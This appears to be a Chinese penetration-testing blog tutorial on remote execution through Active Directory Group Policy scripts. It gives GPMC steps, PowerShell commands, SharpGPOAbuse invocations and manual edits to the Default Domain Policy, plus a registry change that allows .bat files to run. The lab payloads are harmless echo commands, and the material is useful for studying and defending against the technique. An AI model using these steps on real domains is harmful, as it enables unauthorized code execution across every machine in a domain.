Good in study, attitude and health

域渗透——利用GPO中的脚本实现远程执行

0x00 前言


在之前的文章《域渗透——利用GPO中的计划任务实现远程执行》介绍了通过域组策略(Group Policy Object)远程执行计划任务的方法,本文将要介绍类似的另外一种方法:通过域组策略(Group Policy Object)的脚本实现远程执行。

0x01 简介


本文将要介绍以下内容:

  • 通过Group Policy Management Console (GPMC) 实现脚本的远程执行
  • 通过命令行实现脚本的远程执行
  • 新建GPO实现远程执行
  • 修改已有的GPO,实现远程执行
  • 实现细节

0x02 通过Group Policy Management Console (GPMC) 实现脚本的远程执行


1.创建GPO

在域控制器上,位置: Administrative Tools -> Group Policy Management

如果想要作用于整个域,选择域test.com,右键,选择Create a GPO in this domain,and Link it here...,如下图

Alt text

如果想要作用于指定对象,需要选择提前创建好的OU,右键,选择Create a GPO in this domain,and Link it here...,如下图

Alt text

补充:创建OU的位置:Administrative Tools -> Active Directory Users and Computers

2.配置GPO

选择创建好的GPO,右键,选择Edit...

(1)指定Startup/Shutdown/Logon/Logoff时要执行的脚本

Startup/Shutdown的位置为Computer Configuration -> Windows Settings -> Scripts(Startup/Shutdown),作用于域内计算机的开机和关机事件

Logon/Logoff的位置为User Configuration -> Windows Settings -> Scripts(Logon/Logoff),作用于域用户的登陆和注销事件

这里以配置用户test1的登陆脚本为例进行配置,选择Login,将要执行的脚本上传至域共享文件夹,默认位置为:\\test.com\SysVol\test.com\Policies\{A4C54BE4-A5D1-42F3-8288-529FACD8E5CF}\User\Scripts\Logon,配置登陆执行的脚本为logon1.bat,如下图

Alt text

注:

直接将脚本上传至\\test.com\SysVol\test.com\Policies\{A4C54BE4-A5D1-42F3-8288-529FACD8E5CF}\User\Scripts\Logon不会生效,必须在Logon中指定要执行的脚本

(2)等待域组策略更新

默认情况下,域组策略每90分钟更新,随机偏移为0-30分钟,域控制器的组策略每5分钟更新

为了提高测试效率,可在客户端执行命令gpupdate /force强制更新组策略

(3)等待触发脚本执行

在Computer01上登陆用户test1,发现执行了脚本logon1.bat

0x03 通过命令行实现脚本的远程执行


1.作用于全域

(1)创建一个GPO

Powershell命令:New-GPO -Name TestGPO1

(2)将GPO连到到域test.com

Powershell命令:New-GPLink -Name TestGPO1 -Target "dc=test,dc=com"

注:

两条命令可以简写为一条命令:new-gpo -name TestGPO1 | new-gplink -Target "dc=test,dc=com"

(3)通过SharpGPOAbuse设置执行的脚本

命令示例:SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 > c:\GPOAbuse.txt" --GPOName "TestGPO1"

这里也可以通过修改bat文件的内容判断用户名实现作用于指定目标,筛选用户test1的命令示例:SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==test1 cmd.exe /c echo 1 > c:\GPOAbuse.txt" --GPOName "TestGPO1"

(4)等待域组策略更新

默认情况下,域组策略每90分钟更新,随机偏移为0-30分钟

(5)等待触发脚本执行

(6)删除GPO

Powershell命令:Remove-GPO -Name TestGPO1

2.作用于指定目标

(1)创建OU

Powershell命令:New-ADOrganizationalUnit -Name OUtest2 -Path "DC=test,DC=com"

(2)确认用户test1的位置

cmd命令:dsquery user -name test1

返回结果:

"CN=test1,CN=Users,DC=test,DC=com"

(3)将指定用户test1移动至新创建的OUtest2

cmd命令:dsmove "CN=test1,CN=Users,DC=test,DC=com" -newparent "OU=OUtest2,DC=test,DC=com"

也可以使用cmd命令:dsquery user -name test1 | dsmove -newparent "OU=OUtest2,DC=test,DC=com"

(4)创建一个GPO并将其连接到指定OU

Powershell命令:new-gpo -name TestGPO2 | new-gplink -Target "OU=OUtest2,DC=test,DC=com"

(5)通过SharpGPOAbuse设置执行的脚本

命令示例:SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 > c:\GPOAbuse2.txt" --GPOName "TestGPO2"

(6)等待域组策略更新

默认情况下,域组策略每90分钟更新,随机偏移为0-30分钟

(7)等待触发脚本执行

(8)删除GPO

Powershell命令:Remove-GPO -Name TestGPO2

(9)将用户test1移除OU至原位置

cmd命令:dsquery user -name test1 | dsmove -newparent "CN=Users,DC=test,DC=com"

(10)删除OU

Powershell命令:

Set-ADOrganizationalUnit -Identity "OU=OUtest2,DC=test,DC=com" -ProtectedFromAccidentalDeletion $false
Remove-ADOrganizationalUnit -Identity "OU=OUtest2,DC=test,DC=com" -Recursive -Confirm:$False

0x04 修改已有的GPO,实现远程执行


默认存在两个组策略,每个文件夹对应一个组策略:

{6AC1786C-016F-11D2-945F-00C04fB984F9}对应Default Domain Controllers Policy

{31B2F340-016D-11D2-945F-00C04FB984F9}对应Default Domain Policy

默认可利用的组策略为Default Domain Policy,这里分为手动修改和通过程序自动实现两部分进行介绍

1.手动修改

(1)获取GPO的guid

Powershell命令:get-GPO -Name "Default Domain Policy"

得到Id为31b2f340-016d-11d2-945f-00c04fb984f9

(2)上传要执行的用户登录脚本

将测试脚本test1.bat上传至\\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Scripts\Logon

(3)启用用户登录脚本

创建文件\\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Scripts\scripts.ini,属性为隐藏文件,内容为:


[Logon]
0CmdLine=test1.bat
0Parameters=

(4)修改版本信息

修改文件\\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI,将Version的原有数值加上65536作为新的数值

具体来说,默认配置下,\\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INIVersion值为3,第一次修改时需要将其修改为65539

(5)更新数据库信息

需要编写程序实现,代码可参考https://github.com/FSecureLABS/SharpGPOAbuse/blob/master/SharpGPOAbuse/Program.cs#L189

当然,这个操作也可以通过修改文件的方式实现,流程较为繁琐,具体思路如下:

  • 备份GPO
  • 修改Backup.xml
  • 修改gpreport.xml
  • 还原GPO

(6)等待域组策略更新

默认情况下,域组策略每90分钟更新,随机偏移为0-30分钟

(7)等待触发脚本执行

2.通过程序实现

通过SharpGPOAbuse可以实现,命令示例:SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 > c:\GPOAbuse.txt" --GPOName "Default Domain Policy"

0x05 直接执行远程脚本


当我们选择直接执行组策略文件夹中的bat文件,会弹框提示无法执行,如下图

Alt text

这里可以通过修改注册表的方式设置为允许,对应的命令为:reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations /v ModRiskFileTypes /t REG_SZ /d .bat /f

该操作也可以通过配置域组策略实现,位置为:User Configuration -> Administrative Templates -> Windows Components -> Attachment Manager -> Inclusion list for moderate risk file types,选择Enabled,后缀名设置为.bat,如下图

Alt text

0x06 小结


本文介绍了通过域组策略(Group Policy Object)中的脚本实现远程执行的方法,分享实现细节和利用思路。


LEAVE A REPLY